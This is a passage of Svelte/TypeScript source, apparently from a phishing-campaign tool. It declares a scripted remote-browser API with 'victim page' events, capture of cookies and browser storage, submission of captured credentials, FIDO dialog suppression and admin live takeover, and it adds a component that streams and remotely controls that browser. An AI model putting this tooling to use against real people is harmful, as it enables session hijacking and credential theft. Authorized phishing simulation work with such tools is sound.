capture(options?: CaptureOptions): CaptureResult;
// ── Utility ───────────────────────────────────────────────────────────────
/** Pause execution for the given number of milliseconds */
wait(ms: number): void;
/** Enable CDP WebAuthn virtual authenticator — suppresses FIDO browser dialogs */
disableFidoUI(): void;
/** Park the script and signal that the browser is ready for admin live takeover */
keepAlive(): void;
/**
* Run fn with a scoped timeout; receives a sub-session limited to that timeout.
* @example s.withTimeout(5000, t => t.waitVisible('#otp'))
*/
withTimeout(ms: number, fn: (s: Session) => void): void;
close(): void;
// ── Event-driven API ─────────────────────────────────────────────────────
/** Register a handler called when the victim page sends this event */
on(event: string, handler: (data: any) => void): void;
/** Start processing incoming victim events; blocks until done() is called */
listen(): void;
/** Signal listen() to stop processing */
done(): void;
// ── Streaming ─────────────────────────────────────────────────────────────
/**
* Stream the element matching selector to the victim page as a live JPEG feed.
* Returns a stop() function.
* @param selector CSS selector for the element to stream
* @param name Stream name sent to the victim page
* @param options.fps Max frames per second (0 = unlimited)
* @param options.quality JPEG quality 1-100 (default 92)
*/
stream(selector: string, name: string, options?: { fps?: number; quality?: number }): () => void;
}
/** Open a new browser session */
declare function newSession(options?: SessionOptions): Session;
/** Send an event to the victim page (visible to the victim's JS) */
declare function emit(key: string, value?: any): void;
/** Log a message to the test runner */
declare function log(message: string, data?: any): void;
/** Record an info note to the campaign timeline */
declare function info(message: string): void;
/** Submit arbitrary captured data (e.g. credentials) to the campaign timeline */
declare function submitData(data: any): void;
/** Block until an incoming victim event with the given name arrives; returns its data */
declare function waitForEvent(event: string): any;
/** Block until any of the listed victim events arrive; returns { event, data } */
declare function waitForAny(...events: string[]): { event: string; data: any };
// Minimal ECMAScript built-ins available in the goja runtime.
// (No DOM, no Node.js — those are not available in scripts.)
declare var JSON: {
parse(text: string): any;
stringify(value: any, replacer?: any, space?: string | number): string;
};
declare var Math: {
readonly PI: number;
abs(x: number): number;
ceil(x: number): number;
floor(x: number): number;
max(...values: number[]): number;
min(...values: number[]): number;
random(): number;
round(x: number): number;
pow(x: number, y: number): number;
sqrt(x: number): number;
};
declare function parseInt(string: string, radix?: number): number;
declare function parseFloat(string: string): number;
declare function isNaN(value: number): boolean;
declare function String(value?: any): string;
declare function Number(value?: any): number;
declare function Boolean(value?: any): boolean;
declare function encodeURIComponent(uriComponent: string): string;
declare function decodeURIComponent(encodedURI: string): string;
`;
/** @type {import('monaco-editor').IDisposable|null} */
let completionProvider = null;
function destroyVimMode() {
try {
if (vimModeInstance) {
vimModeInstance.dispose();
vimModeInstance = null;
}
destroyVimClipboardIntegration();
} catch {
// ignore
}
}
onMount(() => {
parseConfig(config);
const checkDarkMode = () => {
if (typeof window !== 'undefined') {
isDark = document.documentElement.classList.contains('dark');
}
};
checkDarkMode();
const observer = new MutationObserver(() => {
const newIsDark = document.documentElement.classList.contains('dark');
if (newIsDark !== isDark) {
isDark = newIsDark;
if (editor) monaco.editor.setTheme(isDark ? 'vs-dark' : 'vs-light');
}
});
observer.observe(document.documentElement, { attributes: true, attributeFilter: ['class'] });
/* @ts-ignore */
self.MonacoEnvironment = {
getWorker: function (_, label) {
if (label === 'typescript' || label === 'javascript') {
return new tsWorker();
}
return new editorWorker();
}
};
// Inject the remote browser type definitions into Monaco's JS language service.
// noLib removes the full browser DOM lib (window, document, addEventListener, …)
// so dot-completion on session objects only shows our declared Session methods.
monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({
noSemanticValidation: true,
noSyntaxValidation: false
});
monaco.languages.typescript.javascriptDefaults.setCompilerOptions({
noLib: true,
allowJs: true,
allowNonTsExtensions: true,
target: monaco.languages.typescript.ScriptTarget.ES2020
});
completionProvider = monaco.languages.typescript.javascriptDefaults.addExtraLib(
remoteBrowserDTS,
'ts:remotebrowser.d.ts'
);
editor = monaco.editor.create(editorContainer, {
value: script,
language: 'javascript',
theme: isDark ? 'vs-dark' : 'vs-light',
minimap: { enabled: false },
wordWrap: 'off',
folding: false,
scrollBeyondLastLine: false,
fontSize: 13,
automaticLayout: true
});
editor.onDidChangeModelContent(() => {
script = editor.getValue();
dispatch('change', getModel());
});
// vim mode
const unsubVim = vimModeEnabled.subscribe((enabled) => {
if (isDestroyed) return;
localVimMode = enabled;
if (enabled) {
vimModeInstance = vimModule.initVimMode(editor, vimStatusBarEl);
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
} else {
destroyVimMode();
}
});
_mounted = true;
return () => {
isDestroyed = true;
observer.disconnect();
unsubVim();
destroyVimMode();
if (completionProvider) completionProvider.dispose();
if (editor) editor.dispose();
if (ws) ws.close();
};
});
function getModel() {
return { name, description, script, config: buildConfig() };
}
// Keep the editor value in sync when script prop changes externally (e.g. when opening a saved record).
let prevScript = script;
$: if (editor && script !== prevScript && script !== editor.getValue()) {
editor.setValue(script);
prevScript = script;
}
</script>
<div class="flex flex-col h-full">
<!-- Top metadata row -->
<div class="flex gap-3 mb-3">
<div class="flex-1">
<TextField
width="full"
bind:value={name}
on:change={() => dispatch('change', getModel())}
placeholder="my-remote-browser">Name</TextField
>
</div>
<div class="flex-1">
<TextField
width="full"
bind:value={description}
on:change={() => dispatch('change', getModel())}
placeholder="Optional description">Description</TextField
>
</div>
</div>
<!-- Main split: editor + right panel -->
<div
class="flex flex-1 gap-0 min-h-0 border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden"
>
<!-- JS editor (60%) -->
<div class="flex flex-col" style="flex: 6; min-width: 0;">
<div
class="flex items-center justify-between px-3 py-1 bg-gray-100 dark:bg-gray-800 border-b border-gray-200 dark:border-gray-700"
>
<span class="text-xs font-mono text-gray-500 dark:text-gray-400">JavaScript</span>
<button
type="button"
on:click={() => vimModeEnabled.update((v) => !v)}
class="h-8 border-2 rounded-md w-20 px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 transition-colors duration-200"
class:font-bold={localVimMode}
class:bg-blue-600={localVimMode}
class:dark:bg-blue-500={localVimMode}
class:text-white={localVimMode}
class:border-blue-600={localVimMode}
class:dark:border-blue-500={localVimMode}
class:text-gray-700={!localVimMode}
class:dark:text-gray-200={!localVimMode}
class:bg-white={!localVimMode}
class:dark:bg-gray-700={!localVimMode}
class:border-gray-300={!localVimMode}
class:dark:border-gray-600={!localVimMode}
>
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" viewBox="0 0 20 20" fill="currentColor">
<path d="M3 3h18v18H3V3zm2 2v14h14V5H5zm2 2h10v2H7V7zm0 4h10v2H7v-2zm0 4h6v2H7v-2z" />
</svg>
<span class="text-xs">Vim</span>
</button>
</div>
<div bind:this={editorContainer} class="flex-1" style="min-height: 0;"></div>
<div
bind:this={vimStatusBarEl}
class="h-5 bg-gray-100 dark:bg-gray-800 text-xs text-gray-500 dark:text-gray-400 px-2"
></div>
</div>
<!-- Divider -->
<div class="w-px bg-gray-200 dark:border-gray-700 flex-shrink-0"></div>
<!-- Right panel (40%) -->
<div class="flex flex-col" style="flex: 4; min-width: 0;">
<!-- Tab bar -->
<div class="flex border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800">
<button
type="button"
class="px-4 py-2 text-sm font-medium transition-colors {activeTab === 'config'
? 'text-blue-600 dark:text-blue-400 border-b-2 border-blue-500'
: 'text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200'}"
on:click={() => (activeTab = 'config')}
>
Config
</button>
<button
type="button"
class="px-4 py-2 text-sm font-medium transition-colors {activeTab === 'run'
? 'text-blue-600 dark:text-blue-400 border-b-2 border-blue-500'
: 'text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200'}"
on:click={() => (activeTab = 'run')}
>
Run / Test
{#if isRunning}
<span class="ml-1 inline-block w-2 h-2 rounded-full bg-green-400 animate-pulse"></span>
{:else if isScriptDirty}
<span class="ml-1 inline-block w-2 h-2 rounded-full bg-orange-400"></span>
{/if}
</button>
</div>
<!-- Tab content -->
<div class="flex-1 overflow-y-auto p-4 min-h-0">
{#if activeTab === 'config'}
<div class="space-y-4">
<div>
<label class="block text-xs font-medium text-gray-600 dark:text-gray-400 mb-1">
Browser Mode
</label>
<div class="flex gap-2">
<button
type="button"
class="flex-1 py-1.5 text-sm rounded border transition-colors {cfgMode === 'local'
? 'bg-blue-600 text-white border-blue-600'
: 'bg-white dark:bg-gray-800 text-gray-600 dark:text-gray-300 border-gray-300 dark:border-gray-600 hover:border-blue-400'}"
on:click={() => {
cfgMode = 'local';
dispatch('change', getModel());
}}
>
Local
</button>
<button
type="button"
class="flex-1 py-1.5 text-sm rounded border transition-colors {cfgMode ===
'remote'
? 'bg-blue-600 text-white border-blue-600'
: 'bg-white dark:bg-gray-800 text-gray-600 dark:text-gray-300 border-gray-300 dark:border-gray-600 hover:border-blue-400'}"
on:click={() => {
cfgMode = 'remote';
dispatch('change', getModel());
}}
>
Remote
</button>
</div>
<p class="text-xs text-gray-400 dark:text-gray-500 mt-2">
{#if cfgMode === 'local'}
Spawns an isolated Chrome process per session.
{:else}
Connects to a shared Chrome instance. For debugging only.
{/if}
</p>
</div>
{#if cfgMode === 'remote'}
<TextField
bind:value={cfgRemote}
on:keyup={() => dispatch('change', getModel())}
placeholder="ws://localhost:9222">Remote DevTools URL</TextField
>
{:else}
<TextField
bind:value={cfgProxy}
on:keyup={() => dispatch('change', getModel())}
optional={true}
placeholder="socks5://127.0.0.1:1080">Proxy</TextField
>
<div>
<label class="flex items-center gap-2 cursor-pointer select-none">
<input
type="checkbox"
bind:checked={cfgHeadless}
on:change={() => dispatch('change', getModel())}
class="w-4 h-4 rounded border-gray-300 dark:border-gray-600 text-blue-600 focus:ring-blue-500"
/>
<span class="text-sm text-gray-700 dark:text-gray-300">Headless</span>
</label>
</div>
{/if}
<TextField
type="number"
bind:value={cfgTimeout}
on:keyup={() => dispatch('change', getModel())}
placeholder="5">Timeout (minutes)</TextField
>
</div>
{:else}
<div class="flex flex-col h-full gap-3">
{#if isScriptDirty}
<p class="text-xs text-orange-400">Unsaved changes - save before running.</p>
{/if}
<!-- Action buttons -->
<div class="flex gap-2">
{#if !isRunning}
<button
type="button"
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-green-600 hover:bg-green-700 text-white rounded transition-colors"
on:click={startRun}
>
<svg
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 20 20"
fill="currentColor"
class="w-4 h-4"
>
<path
d="M6.3 2.84A1.5 1.5 0 0 0 4 4.11v11.78a1.5 1.5 0 0 0 2.3 1.27l9.344-5.891a1.5 1.5 0 0 0 0-2.538L6.3 2.84Z"
/>
</svg>
Run
</button>
{:else}
<button
type="button"
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-red-600 hover:bg-red-700 text-white rounded transition-colors"
on:click={stopRun}
>
<svg
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 20 20"
fill="currentColor"
class="w-4 h-4"
>
<path
d="M5.25 3A2.25 2.25 0 0 0 3 5.25v9.5A2.25 2.25 0 0 0 5.25 17h9.5A2.25 2.25 0 0 0 17 14.75v-9.5A2.25 2.25 0 0 0 14.75 3h-9.5Z"
/>
</svg>
Stop
</button>
{/if}
{#if runLog.length > 0}
<button
type="button"
class="px-3 py-1.5 text-sm text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200 border border-gray-300 dark:border-gray-600 rounded transition-colors"
on:click={() => {
runLog = [];
}}
>
Clear
</button>
{/if}
{#if streamSessionID}
<button
type="button"
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-blue-600 hover:bg-blue-700 text-white rounded transition-colors"
on:click={() => { streamControlMode = false; streamVisible = true; }}
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
<path d="M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" />
<path fill-rule="evenodd" d="M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z" clip-rule="evenodd" />
</svg>
View
</button>
<button
type="button"
class="flex items-center gap-1.5 px-3 py-1.5 text-sm bg-purple-600 hover:bg-purple-700 text-white rounded transition-colors"
on:click={() => { streamControlMode = true; streamVisible = true; }}
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
<path fill-rule="evenodd" d="M2 4.25A2.25 2.25 0 0 1 4.25 2h11.5A2.25 2.25 0 0 1 18 4.25v8.5A2.25 2.25 0 0 1 15.75 15h-3.105a3.501 3.501 0 0 0 1.1 1.677A.75.75 0 0 1 13.26 18H6.74a.75.75 0 0 1-.484-1.323A3.501 3.501 0 0 0 7.355 15H4.25A2.25 2.25 0 0 1 2 12.75v-8.5Zm1.5 0a.75.75 0 0 1 .75-.75h11.5a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-.75.75H4.25a.75.75 0 0 1-.75-.75v-7.5Z" clip-rule="evenodd" />
</svg>
Control
</button>
{/if}
</div>
<!-- Event log -->
<div
bind:this={logContainer}
class="flex-1 overflow-y-auto font-mono text-xs bg-gray-900 dark:bg-gray-950 text-gray-200 rounded p-2 space-y-0.5 min-h-0 select-text"
style="max-height: calc(100vh - 18rem);"
>
{#if runLog.length === 0}
<span class="text-gray-500">No events yet. Click Run to execute the script.</span>
{:else}
{#each runLog as entry}
<div
class="leading-5 {entry.type === 'event'
? 'text-blue-300'
: entry.type === 'sent'
? 'text-orange-300'
: entry.type === 'capture'
? 'text-purple-300'
: entry.type === 'submit'
? 'text-amber-300'
: entry.type === 'info'
? 'text-sky-300'
: entry.type === 'screenshot'
? 'text-teal-300'
: entry.type === 'error'
? 'text-red-400'
: entry.type === 'done'
? 'text-green-400'
: 'text-gray-400'}"
>
{#if entry.type === 'event'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-blue-400"> emit </span>
<span class="text-yellow-400">{entry.key}</span>
<span class="text-gray-300"> = </span>
<span>{JSON.stringify(entry.value)}</span>
{:else if entry.type === 'sent'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-orange-400">{entry.event}</span>
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
<span class="text-gray-300"> data=</span><span
>{JSON.stringify(entry.data)}</span
>
{/if}
{:else if entry.type === 'screenshot'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
{#if entry.url}
<span class="text-gray-500 text-xs font-mono ml-1 truncate max-w-xs inline-block align-middle" title={entry.url}>{entry.url}</span>
{/if}
<div class="mt-1">
<!-- svelte-ignore a11y-click-events-have-key-events -->
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
<img
src={entry.value}
alt={entry.key || 'screenshot'}
class="max-h-32 rounded border border-teal-700/40 cursor-pointer hover:opacity-90 transition-opacity"
on:click={() => {
screenshotModalSrc = entry.value;
screenshotModalLabel = entry.key || 'screenshot';
screenshotModalURL = entry.url || '';
}}
/>
</div>
{:else if entry.type === 'info'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-sky-400"> info</span>
<span class="text-sky-200 ml-1">{entry.message}</span>
{:else if entry.type === 'submit'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-amber-400"> ⬆ submitData</span>
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
{:else if entry.type === 'capture'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-purple-400"> ★ capture</span>
{#if entry.value?.cookies}
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
{/if}
{#if entry.value?.localStorage}
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
{/if}
{#if entry.value?.sessionStorage}
<span class="text-gray-400"> · {Object.keys(entry.value.sessionStorage).length} sessionStorage</span>
{/if}
<pre class="mt-1 text-xs text-purple-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
{:else if entry.type === 'done'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-green-400"> ✓ done</span>
{:else}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span> {entry.message}</span>
{#if entry.data !== undefined && entry.data !== null}
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
{/if}
{/if}
</div>
{/each}
{/if}
</div>
<!-- Event injection panel (visible while running) -->
{#if isRunning}
<div class="border border-orange-500/30 rounded p-2 space-y-1.5 bg-gray-800/50">
<p class="text-xs text-orange-400/70 font-medium">Inject event</p>
<div class="flex gap-2">
<input
type="text"
bind:value={injectEvent}
placeholder="event name"
class="w-32 px-2 py-1 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }}
/>
<input
type="text"
bind:value={injectData}
placeholder="data JSON, e.g. {`{"username":"foo"}`}"
class="flex-1 px-2 py-1 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }}
/>
<button
type="button"
class="px-3 py-1 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
on:click={sendEvent}
>
Send
</button>
</div>
</div>
{/if}
{#if !id}
<p class="text-xs text-yellow-600 dark:text-yellow-400">
Save the remote browser first to enable live test runs.
</p>
{/if}
</div>
{/if}
</div>
</div>
</div>
</div>
<!-- Screenshot fullscreen modal -->
{#if screenshotModalSrc}
<!-- svelte-ignore a11y-click-events-have-key-events -->
<!-- svelte-ignore a11y-no-static-element-interactions -->
<div
class="fixed inset-0 z-50 flex items-center justify-center bg-black/80 backdrop-blur-sm"
on:click={() => { screenshotModalSrc = null; screenshotModalURL = ''; }}
>
<div
class="relative max-w-[90vw] max-h-[90vh] flex flex-col items-center"
on:click|stopPropagation
>
<div class="flex items-center justify-between w-full mb-2 px-1">
<div class="flex flex-col min-w-0">
<span class="text-teal-300 text-sm font-mono">{screenshotModalLabel}</span>
{#if screenshotModalURL}
<span class="text-gray-400 text-xs font-mono truncate" title={screenshotModalURL}>{screenshotModalURL}</span>
{/if}
</div>
<button
type="button"
class="text-gray-400 hover:text-white transition-colors ml-4"
on:click={() => { screenshotModalSrc = null; screenshotModalURL = ''; }}
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-5 h-5">
<path d="M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z" />
</svg>
</button>
</div>
<img
src={screenshotModalSrc}
alt={screenshotModalLabel}
class="max-w-full max-h-[80vh] rounded shadow-2xl border border-gray-700"
/>
</div>
</div>
{/if}
<RemoteBrowserStream
bind:visible={streamVisible}
crID={streamSessionID}
controlMode={streamControlMode}
{runLog}
{isRunning}
on:inject={(e) => {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
const { event, data } = e.detail;
ws.send(JSON.stringify({ event, data }));
runLog = [...runLog, { type: 'sent', event, data, time: now() }];
setTimeout(scrollLogToBottom, 0);
}}
/>
@@ -0,0 +1,531 @@
<script>
import { onDestroy, createEventDispatcher } from 'svelte';
import Modal from '$lib/components/Modal.svelte';
const dispatch = createEventDispatcher();
/** @type {string} Campaign-recipient ID */
export let crID = '';
/** @type {boolean} */
export let visible = false;
/** @type {boolean} Allow admin to send mouse/keyboard input */
export let controlMode = false;
/** @type {string} Recipient email shown in the toolbar */
export let email = '';
/** @type {Array<Record<string, any>>} Log entries from the script runner */
export let runLog = [];
/** @type {boolean} Whether the script is currently running */
export let isRunning = false;
let canvas;
let ws = null;
let fps = 0;
let frameCount = 0;
let fpsInterval = null;
let status = 'Connecting…';
let sessionClosed = false;
let logPanelOpen = false;
let logPanelEl;
let injectEvent = '';
let injectData = '';
$: if (logPanelEl && runLog) {
setTimeout(() => { if (logPanelEl) logPanelEl.scrollTop = logPanelEl.scrollHeight; }, 0);
}
function sendInject() {
if (!injectEvent.trim()) return;
let data;
try { data = JSON.parse(injectData); } catch { data = injectData || null; }
dispatch('inject', { event: injectEvent.trim(), data });
injectEvent = '';
injectData = '';
}
// track the natural size of the remote browser so we can scale input coords
let remoteWidth = 1280;
let remoteHeight = 720;
// URL bar
let currentURL = '';
let urlBarValue = '';
let urlBarFocused = false;
$: if (visible && crID) {
openStream();
}
$: if (!visible) {
closeStream();
removeKeyListeners();
}
// Attach window-level keyboard listeners when in control mode and visible.
// Canvas-level events require the element to have focus; window-level events
// fire regardless of which element is focused inside the modal.
$: if (visible && controlMode) {
addKeyListeners();
} else {
removeKeyListeners();
}
let keyListenersAttached = false;
function addKeyListeners() {
if (keyListenersAttached) return;
window.addEventListener('keydown', onKeyDown, true);
window.addEventListener('keyup', onKeyUp, true);
keyListenersAttached = true;
}
function removeKeyListeners() {
if (!keyListenersAttached) return;
window.removeEventListener('keydown', onKeyDown, true);
window.removeEventListener('keyup', onKeyUp, true);
keyListenersAttached = false;
}
function openStream() {
if (ws) return;
sessionClosed = false;
status = 'Connecting…';
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const url = `${proto}//${window.location.host}/api/v1/remote-browser/live/${crID}/stream${controlMode ? '?mode=control' : ''}`;
ws = new WebSocket(url);
ws.binaryType = 'arraybuffer';
ws.onopen = () => {
status = 'Connected';
fpsInterval = setInterval(() => {
fps = frameCount;
frameCount = 0;
}, 1000);
};
ws.onmessage = (ev) => {
try {
const msg = JSON.parse(typeof ev.data === 'string' ? ev.data : new TextDecoder().decode(ev.data));
if (msg.type === 'frame') {
if (msg.width) remoteWidth = msg.width;
if (msg.height) remoteHeight = msg.height;
renderFrame(msg.data);
frameCount++;
} else if (msg.type === 'url') {
currentURL = msg.value;
if (!urlBarFocused) urlBarValue = msg.value;
} else if (msg.type === 'closed') {
status = 'Session ended';
sessionClosed = true;
closeStream();
}
} catch {
// ignore parse errors
}
};
ws.onerror = () => {
status = 'Connection error';
};
ws.onclose = () => {
if (!sessionClosed) status = isRunning ? 'Disconnected' : 'Session ended';
clearInterval(fpsInterval);
ws = null;
};
}
function renderFrame(base64jpeg) {
if (!canvas) return;
const img = new Image();
img.onload = () => {
const ctx = canvas.getContext('2d');
// Only resize when dimensions change — resizing always clears the canvas
// and flushes the GPU texture even when the value is identical.
if (canvas.width !== img.naturalWidth) canvas.width = img.naturalWidth;
if (canvas.height !== img.naturalHeight) canvas.height = img.naturalHeight;
ctx.drawImage(img, 0, 0);
};
img.src = 'data:image/jpeg;base64,' + base64jpeg;
}
function closeStream() {
if (ws && ws.readyState <= WebSocket.OPEN) {
ws.close();
}
ws = null;
clearInterval(fpsInterval);
fps = 0;
currentURL = '';
urlBarValue = '';
}
function navigateTo(url) {
if (!url) return;
if (!/^https?:\/\//i.test(url)) url = 'https://' + url;
sendInput({ type: 'navigate', url });
urlBarValue = url;
urlBarFocused = false;
}
function navigateBack() {
sendInput({ type: 'back' });
}
function navigateForward() {
sendInput({ type: 'forward' });
}
// Input forwarding (control mode only)
function sendInput(msg) {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(JSON.stringify(msg));
}
function canvasCoords(e) {
if (!canvas) return { x: 0, y: 0 };
const rect = canvas.getBoundingClientRect();
const scaleX = remoteWidth / rect.width;
const scaleY = remoteHeight / rect.height;
return {
x: Math.round((e.clientX - rect.left) * scaleX),
y: Math.round((e.clientY - rect.top) * scaleY)
};
}
function onMouseMove(e) {
if (!controlMode) return;
const { x, y } = canvasCoords(e);
sendInput({ type: 'mousemove', x, y });
}
function onMouseDown(e) {
if (!controlMode) return;
e.preventDefault();
const { x, y } = canvasCoords(e);
sendInput({ type: 'mousedown', x, y, button: e.button === 2 ? 'right' : 'left' });
}
function onMouseUp(e) {
if (!controlMode) return;
const { x, y } = canvasCoords(e);
sendInput({ type: 'mouseup', x, y, button: e.button === 2 ? 'right' : 'left' });
}
function onWheel(e) {
if (!controlMode) return;
e.preventDefault();
const { x, y } = canvasCoords(e);
sendInput({ type: 'scroll', x, y, deltaX: e.deltaX, deltaY: e.deltaY });
}
function mods(e) {
return (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0);
}
// charText is the Unicode text a keydown should insert:
// - Enter → "\r" (CDP char event expected per chromedp kb package)
// - single printable with no Ctrl/Meta → the character itself
// - everything else (arrows, F-keys, Ctrl+X shortcuts, …) → ""
function charText(e) {
if (e.ctrlKey || e.metaKey) return '';
if (e.key === 'Enter') return '\r';
if (e.key.length === 1) return e.key;
return '';
}
function isLocalInputFocused() {
const tag = document.activeElement?.tagName?.toLowerCase();
return tag === 'input' || tag === 'textarea' || tag === 'select';
}
function onKeyDown(e) {
if (!visible || !controlMode) return;
if (e.key === 'Escape') return;
if (urlBarFocused || isLocalInputFocused()) return;
// Intercept Ctrl+V / Cmd+V — read clipboard directly because
// e.preventDefault() below would kill the native paste event.
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 'v') {
e.preventDefault();
e.stopPropagation();
navigator.clipboard.readText().then((text) => {
if (text) sendInput({ type: 'paste', text });
}).catch(() => {
// Clipboard API denied — fall back to forwarding Ctrl+V as a shortcut
sendInput({ type: 'keydown', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e), charText: '' });
});
return;
}
e.preventDefault();
e.stopPropagation();
sendInput({
type: 'keydown',
key: e.key,
code: e.code,
keyCode: e.keyCode,
modifiers: mods(e),
charText: charText(e)
});
}
function onKeyUp(e) {
if (!visible || !controlMode) return;
if (e.key === 'Escape') return;
if (urlBarFocused || isLocalInputFocused()) return;
e.preventDefault();
e.stopPropagation();
sendInput({ type: 'keyup', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e) });
}
function onClose() {
removeKeyListeners();
closeStream();
visible = false;
}
onDestroy(() => {
removeKeyListeners();
closeStream();
});
</script>
<Modal
headerText={controlMode ? 'Remote Browser: Control' : 'Remote Browser: View'}
bind:visible
onClose={onClose}
fullscreen
>
<div class="flex flex-col h-full pt-4 pb-4" style="min-height: calc(100vh - 80px);">
<!-- Toolbar -->
<div class="flex flex-col gap-2 mb-3 flex-shrink-0">
<!-- Status row -->
<div class="flex items-center gap-4">
<span class="text-sm text-gray-500 dark:text-gray-400">
Status: <span class="font-medium"
class:text-green-500={status === 'Connected'}
class:text-red-500={status.includes('error') || status.includes('end') || status.includes('Disconnected')}
>{status}</span>
</span>
{#if email}
<span class="text-sm text-gray-500 dark:text-gray-400">{email}</span>
{/if}
{#if status === 'Connected'}
<span class="text-sm text-gray-500 dark:text-gray-400">{fps} fps</span>
{/if}
<button
type="button"
on:click={() => (logPanelOpen = !logPanelOpen)}
class="ml-auto flex items-center gap-1.5 px-2 py-0.5 text-xs rounded border transition-colors {logPanelOpen
? 'bg-gray-700 border-gray-500 text-gray-200'
: 'border-gray-600 text-gray-400 hover:text-gray-200 hover:border-gray-500'}"
title="Toggle script log"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3 h-3">
<path fill-rule="evenodd" d="M2 4a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM2 8a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM3 11a1 1 0 1 0 0 2h6a1 1 0 1 0 0-2H3Z" clip-rule="evenodd" />
</svg>
Logs
{#if isRunning}
<span class="inline-block w-1.5 h-1.5 rounded-full bg-green-400 animate-pulse"></span>
{/if}
</button>
</div>
<!-- URL bar row -->
<div class="flex items-center gap-1">
<button
type="button"
disabled={!controlMode}
on:click={navigateBack}
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
title="Back"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
<path fill-rule="evenodd" d="M17 10a.75.75 0 0 1-.75.75H5.612l4.158 3.96a.75.75 0 1 1-1.04 1.08l-5.5-5.25a.75.75 0 0 1 0-1.08l5.5-5.25a.75.75 0 1 1 1.04 1.08L5.612 9.25H16.25A.75.75 0 0 1 17 10Z" clip-rule="evenodd" />
</svg>
</button>
<button
type="button"
disabled={!controlMode}
on:click={navigateForward}
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
title="Forward"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
<path fill-rule="evenodd" d="M3 10a.75.75 0 0 1 .75-.75h10.638L10.23 5.29a.75.75 0 1 1 1.04-1.08l5.5 5.25a.75.75 0 0 1 0 1.08l-5.5 5.25a.75.75 0 1 1-1.04-1.08l4.158-3.96H3.75A.75.75 0 0 1 3 10Z" clip-rule="evenodd" />
</svg>
</button>
